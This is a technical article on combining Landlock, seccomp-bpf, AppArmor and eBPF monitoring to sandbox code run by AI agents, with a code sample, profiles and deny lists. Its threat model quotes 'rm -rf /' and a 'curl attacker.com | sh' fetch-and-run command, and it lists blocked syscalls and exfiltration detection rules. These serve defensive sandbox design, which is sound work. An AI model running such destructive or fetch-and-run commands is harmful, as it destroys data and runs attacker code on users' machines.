Mandatory Access Control and LSM Stacking for AI Agent Runtimes
Executive Summary
AI agents that execute code at runtime — shell commands generated by language models, third-party tool plugins, scripts fetched from package registries — operate under a threat model fundamentally different from traditional applications. The code has never been reviewed by a human, may be adversarial due to prompt injection, and runs on the same machine as the agent's memory, credentials, and communication channels. Containerization alone is insufficient: shared-kernel environments expose hundreds of syscalls to untrusted code, and a single kernel CVE compromises every tenant simultaneously.
The Linux kernel now provides four independent, composable security mechanisms that can be layered into a defense-in-depth stack without requiring root privileges or container runtimes: Landlock (unprivileged filesystem and network access control), seccomp-bpf (syscall filtering), AppArmor/SELinux (system-wide mandatory access control), and BPF LSM (programmable kernel security hooks). As of kernel 6.12+, these can operate simultaneously through LSM stacking — Landlock and BPF LSM are stackable by design, while one of the "exclusive" LSMs (AppArmor, SELinux, or Smack) can coexist alongside them. The result is that a single process can be confined by Landlock filesystem rules, seccomp syscall filters, AppArmor profile restrictions, and eBPF-based behavioral enforcement all at once, with each layer operating independently.
This article maps the current kernel primitives (through kernel 6.15/6.17), examines how production AI agent platforms compose them (OpenAI Codex, Anthropic Claude Code, Multikernel Sandlock), surveys eBPF-based runtime monitoring tools (Tetragon, Falco, ARMO) for detecting sandbox escapes, and provides practical guidance for building layered MAC policies for agent workloads. The central finding: process-level confinement using Landlock + seccomp is now mature enough to replace container-based isolation for many agent use cases, with AppArmor/eBPF providing the system-wide backstop layer.
The Threat Model: Why Agents Need Kernel-Level Enforcement
Traditional application security assumes trusted code with potential bugs. AI agent security assumes untrusted code by default:
- LLM-generated commands are non-deterministic. The same prompt can produce
rm -rf /orcurl attacker.com | shthrough prompt injection or hallucination. - Tool plugins (MCP servers, function-calling tools) execute arbitrary code paths that the agent framework cannot statically analyze.
- Dependency chains are unbounded — an agent installing a Python package pulls in transitive dependencies that may contain malicious post-install scripts.
- The agent itself has elevated access — API keys, memory files, SSH credentials, browser sessions — all reachable from the same filesystem and network namespace.
Userspace sandboxing (chroot, LD_PRELOAD wrappers) is trivially bypassable. Container isolation (Docker, Podman) shares the host kernel and exposes 300+ syscalls by default. The kernel's mandatory access control mechanisms are the last line of defense that cannot be circumvented from userspace, even by root within a namespace.
Linux Security Module Architecture and Stacking
How LSM Works
The Linux Security Module framework inserts hook points throughout the kernel — at file open, socket creation, process execution, memory mapping, and approximately 200 other operations. Each registered LSM can inspect the operation and return a denial. The framework is restrictive-only: an LSM can deny an operation that would otherwise be allowed, but cannot grant access that another LSM has denied.
The Stacking Model (Kernel 6.x)
LSMs fall into two categories:
| Category | Examples | Stacking Behavior |
|---|---|---|
| Exclusive | AppArmor, SELinux, Smack | Only ONE can be active. Set LSM_FLAG_EXCLUSIVE. |
| Stackable | Landlock, BPF LSM, Yama, Lockdown, Integrity | Any number can coexist alongside each other AND one exclusive LSM. |
The boot-time LSM order is controlled via the lsm= kernel parameter. A typical Ubuntu 24.04+ system runs:
lsm=lockdown,capability,yama,apparmor,landlock,bpf
This means six LSMs operate simultaneously: Lockdown (kernel feature restriction), capability (POSIX capabilities), Yama (ptrace scoping), AppArmor (MAC profiles), Landlock (unprivileged access control), and BPF LSM (programmable hooks). Every security-relevant operation passes through all six hook chains in order, and any single denial is final.
The Long Road to Full Stacking
Casey Schaufler's LSM stacking patchset (v24 as of 2021) aimed to allow multiple exclusive LSMs simultaneously — e.g., AppArmor + SELinux. This was never fully merged. The practical compromise that emerged is the current model: one exclusive LSM plus unlimited stackable LSMs. For AI agent workloads, this is sufficient: Landlock + seccomp + BPF LSM provide per-process confinement, while AppArmor provides the system-wide policy layer.
Landlock: Unprivileged Access Control for Agents
Architecture
Landlock is the most significant kernel security primitive for AI agent sandboxing because it requires no privileges to use. Any process can create a Landlock ruleset, add rules to it, and enforce it on itself — and once enforced, the restrictions are irrevocable for the process and all its descendants. This maps perfectly to the agent sandbox pattern: the supervisor creates rules before exec-ing the untrusted command.
ABI Evolution
Landlock's capabilities have expanded rapidly across kernel versions:
| ABI Version | Kernel | Capabilities Added |
|---|---|---|
| 1 | 5.13 | Filesystem access control (read, write, execute, make_dir, etc.) |
| 2 | 5.19 | File rename/link across directories |
| 3 | 6.2 | File truncation |
| 4 | 6.7 | Network: TCP bind and connect port restrictions |
| 5 | 6.10 | ioctl on device files |
| 6 | 6.12 | Abstract Unix socket scoping, signal scoping |
| 7 | 6.15 | Additional scoping refinements |
For AI agent runtimes, ABI v4+ is the practical minimum — filesystem restrictions without network control leave the sandbox open to data exfiltration. ABI v6 adds Unix socket scoping, which is critical for preventing sandboxed code from communicating with other processes on the host through abstract sockets.
How Landlock Complements seccomp
Landlock and seccomp operate at different abstraction levels and their combination is more powerful than either alone:
- Landlock operates at the VFS/network layer — it understands paths, file hierarchies, and port numbers. It can express "allow read access to
/usr/libbut deny write access everywhere except/tmp/sandbox." - seccomp-bpf operates at the syscall boundary — it sees syscall numbers and their raw arguments. It can express "deny
mount,pivot_root,ptrace,kexec_load" but cannot reason about file paths (which are resolved after the syscall is dispatched).
A sandboxed process that passes Landlock's filesystem checks can still be blocked by seccomp; a process that passes seccomp's syscall filter can still be blocked by Landlock. The two layers are independent — compromising one does not affect the other.
Practical Example: Landlock Ruleset for Agent Code Execution
struct landlock_ruleset_attr ruleset_attr = {
.handled_access_fs =
LANDLOCK_ACCESS_FS_READ_FILE |
LANDLOCK_ACCESS_FS_READ_DIR |
LANDLOCK_ACCESS_FS_WRITE_FILE |
LANDLOCK_ACCESS_FS_MAKE_REG |
LANDLOCK_ACCESS_FS_MAKE_DIR |
LANDLOCK_ACCESS_FS_EXECUTE,
.handled_access_net =
LANDLOCK_ACCESS_NET_BIND_TCP |
LANDLOCK_ACCESS_NET_CONNECT_TCP,
.scoped =
LANDLOCK_SCOPE_ABSTRACT_UNIX_SOCKET |
LANDLOCK_SCOPE_SIGNAL,
};
int ruleset_fd = landlock_create_ruleset(&ruleset_attr, sizeof(ruleset_attr), 0);
// Allow read-only access to system libraries
struct landlock_path_beneath_attr lib_rule = {
.allowed_access = LANDLOCK_ACCESS_FS_READ_FILE | LANDLOCK_ACCESS_FS_EXECUTE,
.parent_fd = open("/usr/lib", O_PATH),
};
landlock_add_rule(ruleset_fd, LANDLOCK_RULE_PATH_BENEATH, &lib_rule, 0);
// Allow read-write to sandbox working directory only
struct landlock_path_beneath_attr work_rule = {
.allowed_access = LANDLOCK_ACCESS_FS_READ_FILE | LANDLOCK_ACCESS_FS_WRITE_FILE |
LANDLOCK_ACCESS_FS_MAKE_REG | LANDLOCK_ACCESS_FS_MAKE_DIR |
LANDLOCK_ACCESS_FS_READ_DIR,
.parent_fd = open("/tmp/sandbox-workdir", O_PATH),
};
landlock_add_rule(ruleset_fd, LANDLOCK_RULE_PATH_BENEATH, &work_rule, 0);
// Deny all network by not adding any LANDLOCK_RULE_NET_PORT rules
// Enforce — irrevocable from this point
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
landlock_restrict_self(ruleset_fd, 0);
close(ruleset_fd);
// Now exec the untrusted command
execvp(argv[0], argv);
This pattern — create ruleset, add allowlist rules, enforce, exec — is exactly what Codex CLI and Sandlock implement.
seccomp-bpf: Syscall-Level Filtering
The Mechanism
seccomp-bpf attaches a BPF (classic, not eBPF) program to a process that intercepts every syscall entry. The BPF program inspects the syscall number and up to six arguments, then returns one of: SECCOMP_RET_ALLOW, SECCOMP_RET_KILL_PROCESS, SECCOMP_RET_ERRNO, SECCOMP_RET_TRACE, or SECCOMP_RET_USER_NOTIF.
Typical Filter for AI Code Execution
A reasonable seccomp policy for sandboxed agent code:
Deny (KILL_PROCESS):
mount,umount2,pivot_root— prevent filesystem namespace manipulationptrace— prevent debugging/injecting other processeskexec_load,kexec_file_load— prevent kernel replacementinit_module,finit_module,delete_module— prevent kernel module loadingreboot— prevent system rebootswapon,swapoff— prevent swap manipulationacct— prevent process accounting manipulationsettimeofday,clock_settime— prevent time manipulation
Deny (ERRNO):
socketwithAF_INET/AF_INET6— block network access (returnEACCES)clonewithCLONE_NEWUSER— prevent user namespace creation (if not needed)
Allow:
- Standard file I/O:
read,write,open,close,stat,fstat,lstat,lseek - Process management:
fork,execve,wait4,exit_group - Memory:
mmap,mprotect,munmap,brk - Signals:
rt_sigaction,rt_sigprocmask,kill(own process only) - IPC:
socketwithAF_UNIX(for local communication with supervisor)
seccomp User Notification (SECCOMP_RET_USER_NOTIF)
Introduced in kernel 5.0 and increasingly important for agent sandboxes, user notification allows the seccomp filter to pause the syscall and forward it to a supervisor process for a policy decision. This enables dynamic, context-aware decisions that BPF filters cannot express:
- "Allow
open("/tmp/sandbox/output.txt")but denyopen("/etc/shadow")" — seccomp sees raw file descriptor arguments, not paths, so this requires the supervisor to resolve the path and decide. - "Allow network connections to
api.openai.com:443but deny all others" — the supervisor inspects theconnect()address.
Sandlock uses this pattern: static policy (Landlock + seccomp allowlist) handles input-independent rules, while the supervisor handles runtime-dependent decisions via user notification.
AppArmor: System-Wide Policy for Agent Hosts
The Role of AppArmor in Agent Security
While Landlock and seccomp provide per-process confinement that the sandbox supervisor controls, AppArmor provides system-wide mandatory access control that the system administrator controls. In the agent security model, AppArmor serves as the outer perimeter — it constrains what the agent process itself can do, not just the code it executes.
The bubblewrap/AppArmor Conflict
A persistent challenge in AI agent deployment on Ubuntu/Debian systems is the conflict between bubblewrap (bwrap) and AppArmor. Bwrap needs to:
- Create user namespaces (
clone(CLONE_NEWUSER)) - Mount filesystems inside the namespace (
mount) - Pivot the root filesystem (
pivot_root) - Set up bind mounts for selective directory exposure
AppArmor's default profiles on Ubuntu 24.04+ restrict these operations because they are also used in container escape attacks. The result: agent sandboxes that work on older Ubuntu versions break on 24.04+ without AppArmor profile adjustments.
Solutions
Option 1: Custom AppArmor profile for bwrap
Create /etc/apparmor.d/bwrap-agent-sandbox:
abi <abi/4.0>,
profile bwrap-agent-sandbox /usr/bin/bwrap flags=(unconfined) {
userns,
# Allow bwrap to set up the sandbox
capability sys_admin,
capability net_admin,
mount,
umount,
pivot_root,
# Transition child processes to a confined profile
/usr/bin/bwrap cx -> sandboxed_child,
profile sandboxed_child {
# Deny dangerous operations inside the sandbox
deny capability sys_admin,
deny capability net_admin,
deny mount,
deny umount,
deny pivot_root,
deny ptrace,
# Allow basic file operations within sandbox paths
/tmp/sandbox-workdir/** rw,
/usr/lib/** r,
/usr/bin/** ix,
/proc/self/** r,
/dev/null rw,
/dev/urandom r,
}
}
This approach grants bwrap the privileges to set up the sandbox while confining the child process that runs inside it. The cx -> transition ensures the child inherits a restrictive profile.
Option 2: Landlock-only (bypass bwrap entirely)
The approach taken by OpenAI's Codex CLI: skip bwrap and use Landlock + seccomp directly. Since Landlock requires no privileges and no namespace creation, it does not conflict with AppArmor. Bwrap is used only as a fallback when Landlock is unavailable (older kernels).
Option 3: Disable AppArmor restrictions for the agent (not recommended)
Some guides suggest aa-complain or adding security.apparmor xattr exceptions. This weakens system security and should only be used for development.
bwrap PR #425: AppArmor Profile Switching
A significant upstream improvement: bubblewrap PR #425 adds the --apparmor flag, allowing bwrap to switch the sandboxed child process to a specific AppArmor profile. This is the cleanest solution — bwrap operates under an unconfined profile that allows namespace operations, then transitions the child to a locked-down profile before executing the untrusted code.
BPF LSM: Programmable Kernel Security Hooks
Beyond Static Policy
BPF LSM, available since kernel 5.7, allows attaching eBPF programs to any LSM hook point. Unlike AppArmor (static profiles) or seccomp (static BPF filters), BPF LSM programs can:
- Read arbitrary kernel data structures (via BPF helpers)
- Maintain state across invocations (via BPF maps)
- Make decisions based on process lineage, cgroup membership, or accumulated behavior
- Be updated at runtime without process restart
Application to Agent Security
BPF LSM enables behavioral enforcement — policies that reason about patterns rather than individual operations:
// eBPF program attached to security_file_open hook
SEC("lsm/file_open")
int BPF_PROG(restrict_agent_file_open, struct file *file) {
// Get the cgroup of the calling process
u64 cgroup_id = bpf_get_current_cgroup_id();
// Check if this is an agent sandbox cgroup
u32 *is_sandbox = bpf_map_lookup_elem(&sandbox_cgroups, &cgroup_id);
if (!is_sandbox)
return 0; // Not a sandbox, allow
// Count file opens in the last second
struct rate_key key = { .cgroup_id = cgroup_id };
struct rate_value *rate = bpf_map_lookup_elem(&open_rates, &key);
if (rate && rate->count > 1000) {
// Anomalous file access rate — possible directory traversal attack
return -EACCES;
}
return 0;
}
This kind of rate-limiting and behavioral anomaly detection is impossible with static Landlock/seccomp rules but natural with BPF LSM.
Production Agent Sandbox Architectures
OpenAI Codex CLI
Codex CLI's Linux sandbox is the most well-documented production implementation of the Landlock + seccomp approach:
Architecture: A standalone helper binary (codex-linux-sandbox) that the CLI invokes for each command execution. The helper:
- Calls
prctl(PR_SET_DUMPABLE, 0)— prevents debugger attachment - Sets
RLIMIT_COREto 0 — prevents memory dumps - Strips
LD_*environment variables — prevents dynamic linker injection - Creates a Landlock ruleset: read access universally, write access only to explicitly whitelisted directories plus
/dev/null - Applies seccomp filters: blocks
socket()forAF_INET/AF_INET6(denying network) while allowingAF_UNIX(IPC with supervisor) - Calls
landlock_restrict_self()— irrevocable enforcement execs the untrusted command
Fallback: On kernels without Landlock support, Codex falls back to bubblewrap at /usr/bin/bwrap for filesystem namespacing.
Key design decision: Sandbox restrictions apply only to child processes. The main Codex CLI retains full system access for file editing, git operations, and network requests to the API.
Anthropic Claude Code (sandbox-runtime)
Anthropic open-sourced @anthropic-ai/sandbox-runtime, the isolation layer behind Claude Code's /sandbox tool:
Architecture: The sandbox provides two isolation boundaries:
- Filesystem isolation via bubblewrap (Linux) or Seatbelt (macOS) — configurable directory allowlists
- Network isolation via a proxy architecture — all outbound connections route through a Unix domain socket to a proxy server running outside the sandbox. The proxy enforces domain-level allowlists.
Key difference from Codex: Claude Code's network isolation uses an application-level proxy rather than kernel-level seccomp filtering. This enables domain-name-based policies ("allow api.anthropic.com") rather than IP/port-based policies, at the cost of requiring a cooperating proxy process.
AppArmor interaction: On Ubuntu 24.04+, Claude Code's bwrap usage requires AppArmor profile adjustments — the exact problem that motivated Codex's shift to Landlock-first design.
Multikernel Sandlock
Sandlock (arxiv 2605.26298, May 2026) represents the most principled implementation of process-level agent sandboxing:
Core philosophy: "Processes are all you need." No containers, no VMs, no namespaces, no root — just Landlock + seccomp + a minimal supervisor.
Architecture split:
- Static policy (kernel-enforced): Landlock filesystem/network rules and seccomp allowlists, compiled once from a TOML configuration
- Dynamic policy (supervisor-enforced):
SECCOMP_RET_USER_NOTIFforwards ambiguous syscalls to the supervisor for runtime decisions
Per-tool sandboxing: Each MCP call_tool invocation forks a new process and confines it with its own Landlock + seccomp ruleset before executing the tool function. Different tools get different policies — a file-reading tool gets read-only filesystem access, a code-execution tool gets write access to a working directory but no network.
Key innovation: The TOML-based policy language makes security configuration declarative and auditable:
[sandbox.code-executor]
fs.read = ["/usr/lib", "/usr/share", "/etc/ld.so.cache"]
fs.write = ["/tmp/sandbox-$TOOL_ID"]
fs.execute = ["/usr/bin/python3", "/usr/bin/node"]
net.connect = [] # no network
syscalls.deny = ["mount", "ptrace", "kexec_load"]
eBPF Runtime Security Monitoring
While Landlock, seccomp, and AppArmor provide enforcement (blocking prohibited operations), eBPF-based tools provide detection (observing and alerting on suspicious behavior). In a defense-in-depth architecture, both are necessary — enforcement prevents known-bad operations, while detection catches novel attack patterns that bypass static rules.
Cilium Tetragon
Tetragon (CNCF project, v1.4 February 2026) attaches eBPF programs to kernel functions and tracepoints for real-time security observability:
- Process lifecycle tracking: Every
exec,fork, andexitin sandboxed processes, with full command-line arguments and parent chain - File integrity monitoring: Real-time alerts on writes to sensitive paths (
/etc/passwd, agent memory files, credential stores) - Network connection tracking: All TCP/UDP connections with source/destination, even those allowed by seccomp
- Enforcement capability: Tetragon can
SIGKILLa process in-kernel, without returning to userspace — sub-microsecond response time for detected violations
Agent-specific use case: Attach a Tetragon TracingPolicy to the agent's cgroup that alerts on any child process attempting network access, even if seccomp is configured to return EACCES rather than KILL. This provides audit trails for sandbox policy tuning.
Falco
Falco (CNCF graduated project) provides rule-based runtime threat detection:
- Prempti integration (2026): Falco introduced AI agent awareness, recognizing agent process trees and applying agent-specific detection rules
- Rule examples for agent workloads:
- "Alert if a process spawned by the agent sandbox reads
/proc/[0-9]*/mapsof another process" (memory layout reconnaissance) - "Alert if a sandboxed process creates a file matching
*.sooutside the working directory" (shared library injection) - "Alert if network connections from sandbox processes exceed 10/minute" (data exfiltration pattern)
- "Alert if a process spawned by the agent sandbox reads
ARMO: Application Profile DNA
ARMO's approach is particularly relevant for long-running AI agents:
- Learning phase: eBPF sensors observe the agent's normal behavior over hours/days, building a behavioral profile (which files are accessed, which syscalls are used, network patterns)
- Baseline establishment: The profile becomes the "Application Profile DNA" — a behavioral fingerprint
- Enforcement: Deviations from the baseline trigger alerts or blocks
- Overhead: 1-2.5% CPU, ~1% memory — negligible for agent workloads
This is valuable because AI agent behavior is semi-deterministic — the same agent framework produces broadly similar syscall patterns across different tasks, making behavioral profiling feasible despite the non-deterministic nature of LLM outputs.
Defense-in-Depth: The Recommended Stack
For production AI agent runtimes, the recommended security stack layers four independent enforcement mechanisms:
Layer 1: Landlock (Per-Process Filesystem/Network)
What it controls: Which files the sandboxed process can read/write/execute, which TCP ports it can bind/connect to, which Unix sockets it can access.
Why it's Layer 1: Unprivileged, irrevocable, zero-overhead, composable. The agent's sandbox supervisor applies Landlock rules before exec-ing untrusted code. Even if the code achieves arbitrary code execution within its process, it cannot escape Landlock restrictions.
Configuration: Default-deny. Allowlist only the specific paths and ports the tool needs.
Layer 2: seccomp-bpf (Per-Process Syscall Filter)
What it controls: Which syscalls the process can invoke, with optional argument inspection.
Why it's Layer 2: Eliminates entire attack surface categories. Blocking mount, ptrace, kexec_load, init_module removes the most common privilege escalation vectors regardless of any other vulnerability.
Configuration: Allowlist mode. Start with a minimal set (file I/O, process management, memory management, signals) and add syscalls as needed.
Layer 3: AppArmor/SELinux (System-Wide MAC)
What it controls: System-wide mandatory access control profiles that constrain the agent process itself (not just the code it executes).
Why it's Layer 3: Catches scenarios where the agent supervisor itself is compromised or misconfigured. AppArmor profiles limit what the agent can do even if Landlock/seccomp enforcement fails to be applied.
Configuration: Confine the agent process with a profile that allows its normal operations (API calls, file editing, git) but denies dangerous capabilities (raw socket access, kernel module loading, mounting).
Layer 4: eBPF Monitoring (Runtime Detection)
What it controls: Behavioral observation and anomaly detection across all sandboxed processes.
Why it's Layer 4: Static policies cannot anticipate all attack patterns. eBPF monitoring detects novel behaviors — unusual syscall sequences, abnormal file access rates, unexpected network destinations — and can alert or terminate in real time.
Configuration: Deploy Tetragon or Falco with agent-specific detection rules. Alert on any sandbox escape indicator.
How the Layers Compose
┌─────────────────────────────────────────┐
│ eBPF Monitoring (Tetragon) │ Layer 4: Detect anomalies
│ Behavioral profiling + alerts │
├─────────────────────────────────────────┤
│ AppArmor Profile │ Layer 3: System-wide MAC
│ Constrains agent process │
├─────────────────────────────────────────┤
│ seccomp-bpf Filter │ Layer 2: Syscall allowlist
│ Blocks dangerous syscalls │
├─────────────────────────────────────────┤
│ Landlock Ruleset │ Layer 1: FS/network allowlist
│ Irrevocable, unprivileged │
├─────────────────────────────────────────┤
│ Untrusted Code Execution │
│ (LLM-generated commands, tools) │
└─────────────────────────────────────────┘
Each layer is independently sufficient for its domain — Landlock alone prevents filesystem escapes, seccomp alone prevents privilege escalation syscalls, AppArmor alone enforces MAC policy. Together, they create a security posture where an attacker must simultaneously bypass four independent kernel mechanisms to escape the sandbox.
Limitations and Open Problems
Landlock Coverage Gaps
As of ABI v7 (kernel 6.15), Landlock does not cover:
- UDP networking — only TCP bind/connect are supported. An agent sandbox that needs to block DNS exfiltration must use seccomp to deny UDP sockets.
- Device access — ioctl restrictions were added in ABI v5, but device node creation/access is partially controlled.
- System V IPC — shared memory, message queues, and semaphores are not restricted by Landlock. seccomp must block
shmget,msgget,semgetif IPC isolation is needed.
seccomp Argument Inspection Limits
seccomp-bpf (classic BPF) cannot dereference pointers. When inspecting open(), the filter sees the pointer value of the filename argument, not the filename itself. This means seccomp alone cannot implement path-based policies — Landlock or the supervisor (via SECCOMP_RET_USER_NOTIF) must handle path-based decisions.
AppArmor Namespace Challenges
AppArmor's handling of mount namespaces and pivot_root remains an active development area. The transition from AppArmor 3.x to 4.x (shipping on Ubuntu 24.04+) introduced stricter default policies that broke many sandbox tools. The userns capability and cx -> profile transitions are the current workaround, but upstream improvements to namespace-aware policy evaluation are still in progress.
Performance Considerations
| Mechanism | Overhead | Notes |
|---|---|---|
| Landlock | <0.5% | Negligible — kernel-level path check |
| seccomp-bpf | <1% | Per-syscall BPF program execution |
| AppArmor | 1-3% | Profile matching on each hook |
| eBPF monitoring | 1-2.5% | Depends on number of hook points and map operations |
| Combined | 3-7% | Acceptable for agent workloads where safety > throughput |
The Container vs. Process Debate
The emergence of Landlock-first sandboxes (Codex, Sandlock) challenges the assumption that containers are necessary for isolation. The argument for processes:
- No root required — Landlock + seccomp work from unprivileged processes
- No image management — no Dockerfiles, no registries, no layer caching
- Sub-millisecond startup — fork + configure + exec vs. container cold start
- Simpler debugging — standard process debugging tools work normally
The argument for containers/VMs:
- Kernel isolation — gVisor intercepts syscalls in userspace; Firecracker/Kata provide a hardware boundary. A kernel CVE in a process sandbox compromises the host; in a microVM, it compromises only the guest kernel.
- Resource isolation — cgroups provide CPU/memory/IO limits. Landlock does not restrict resource consumption.
- Filesystem isolation — overlay filesystems provide copy-on-write without Landlock's path-based model, which can be complex to configure for deep dependency trees.
The practical recommendation: use process-level confinement (Landlock + seccomp) for lightweight, frequent tool calls (the 80% case in agent workloads), and reserve container/VM isolation for high-risk operations (installing packages, running build systems, executing code with network access).
Practical Recommendations for Agent Developers
-
Target Landlock ABI v4+ (kernel 6.7+) as your minimum. Filesystem-only sandboxing without network control is insufficient for agent workloads. If you must support older kernels, fall back to bubblewrap with a clear security downgrade warning.
-
Use seccomp in allowlist mode, not denylist. Start with the minimal set of syscalls your agent's tools need and add incrementally. A denylist of known-dangerous syscalls will miss novel attack vectors.
-
Separate the sandbox supervisor from the agent runtime. The supervisor should be a minimal, auditable binary that configures Landlock/seccomp and execs the untrusted code. It should not share an address space with the LLM client or agent framework.
-
Write AppArmor profiles for the agent process itself, not just the sandboxed code. The agent has access to API keys, memory files, and the user's filesystem — confining it limits blast radius if the agent is compromised through prompt injection.
-
Deploy eBPF monitoring from day one. Even if you do not initially enforce based on behavioral profiles, the audit trail is invaluable for understanding what sandboxed code actually does and tuning policies accordingly.
-
Test on Ubuntu 24.04+ specifically. The AppArmor 4.x policy changes that ship with Ubuntu 24.04 are the most common source of agent sandbox failures in production. Do not assume that a sandbox that works on 22.04 will work on 24.04.
-
Implement per-tool policies, not one-size-fits-all. A file-reading tool needs
readaccess to specific paths and nothing else. A code-execution tool needswriteto a working directory andexecutefor interpreters. A web-fetching tool needs TCP connect to specific ports. One sandbox policy for all tools is either too permissive or too restrictive.
Conclusion
The Linux kernel's security primitives have matured to the point where process-level mandatory access control is a viable, production-ready alternative to container isolation for AI agent code execution. The combination of Landlock (unprivileged, irrevocable filesystem/network control), seccomp-bpf (syscall filtering), AppArmor (system-wide MAC), and BPF LSM/eBPF monitoring (behavioral enforcement and detection) provides defense-in-depth that is both stronger and lighter than traditional container-based approaches.
The shift is already underway: OpenAI's Codex CLI defaults to Landlock + seccomp, Multikernel's Sandlock demonstrates per-tool confinement without containers, and Anthropic's sandbox-runtime uses bubblewrap with a proxy-based network model. As Landlock's ABI continues to expand (UDP support, finer-grained device control) and eBPF-based enforcement tools mature, the gap between process-level and container-level isolation will continue to narrow.
For AI agent developers, the practical takeaway is clear: stop treating security as a deployment concern to be solved with Docker. Start treating it as a per-operation concern solved with kernel primitives that are configured by the agent's sandbox supervisor before every tool invocation.

